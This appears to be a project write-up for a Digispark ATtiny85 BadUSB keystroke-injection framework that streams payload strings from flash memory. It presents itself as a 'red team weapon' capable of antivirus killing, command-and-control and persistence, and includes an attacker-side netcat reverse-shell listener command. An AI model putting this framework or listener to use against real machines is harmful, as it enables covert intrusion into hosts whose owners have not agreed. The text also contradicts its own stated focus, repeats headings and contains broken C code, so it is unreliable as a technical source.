OVERVIEW
This project explores how a highly constrained microcontroller behaves when interacting with a host system over USB HID. The focus was not on payload delivery, but on understanding how memory limits, USB behavior, and system defenses influence what is realistically possible on minimal hardware.
Rather than aiming for reliability or completeness, the experiment was designed to observe failure modes, unexpected behavior, and trade-offs that emerge when theoretical examples are applied to real, resource-limited devices.
Purpose
To document a production-grade BadUSB attack framework that overcomes ATtiny85 hardware limitations while delivering sophisticated, reliable red team payloads.
Audience: Penetration testers, red team operators, security researchers, embedded systems developers.
Problem Statement
Traditional BadUSB Limitations
Most tutorials use simple DigiKeyboard.print() or println() approaches:
// COMMON APPROACH (FAILS)
void loop() {
DigiKeyboard.print("test code -c \"test codetest code");
// RAM EXHAUSTION → Upload fails or crashes during execution
}
ATtiny85 Hardware Constraints:
RAM (SRAM): 512 bytes ← Dynamic variables during execution
Flash: 8KB total (6KB usable after bootloader)
Failure Modes:
Compile-time RAM exhaustion → Upload fails
Runtime buffer overflow → Device hangs/crashes
Long keystroke delays → AV detection window opens
Single-stage payloads → Limited attack capability
Solution: Resource-Optimized Framework
Core Innovation: PROGMEM + Structured Payload Delivery
// OUR APPROACH (WORKS PERFECTLY)
const char line1[] PROGMEM = "test code"; // Stored in FLASH
const char line2_partA[] PROGMEM = "test code";
void printProgmem(const char *p) { // Streams 1 char at a time
while((c = pgm_read_byte_near(p + i)) != 0) {
DigiKeyboard.print(c); // Uses ~10 bytes RAM per char
i++
}
}
Key Design Decisions
1. PROGMEM Strings → Zero RAM overhead during execution
2. Character Streaming → 1 char RAM buffer vs. entire string
3. Split Long Payloads → line2_partA + line2_partB
4. Configurable Delays → #define INITIAL_DELAY 3000
5. Helper Functions → typeLineProgmem() abstraction
Technologies & Implementation
Hardware
1. Digispark ATtiny85 (₹300 or $4)
2. Arduino IDE + Digispark board package
3. Micronucleus bootloader (2KB)
Key Design Decisions
1. Copy-paste framework → Customize your own payloads.
2. Scales to 10KB+ payloads (vs 500 chars)
3. Multi-stage capability (AV kill + C2 + persistence) 4. Battle-tested reliability
4. Battle-tested reliability
Deployment & Testing
# Attacker machine (192.168.43.1) Replace with your IP
nc -lnvp 6666
Key Design Decisions
This framework transforms the Digispark from a toy demo device into a professional red team weapon. By solving the fundamental RAM limitation through PROGMEM streaming, we've created a scalable attack platform capable of delivering enterprise-grade payloads.
Key Takeaway: Success isn't about cramming more code into limited RAM—it's about architecting around hardware constraints to achieve maximum attack capability.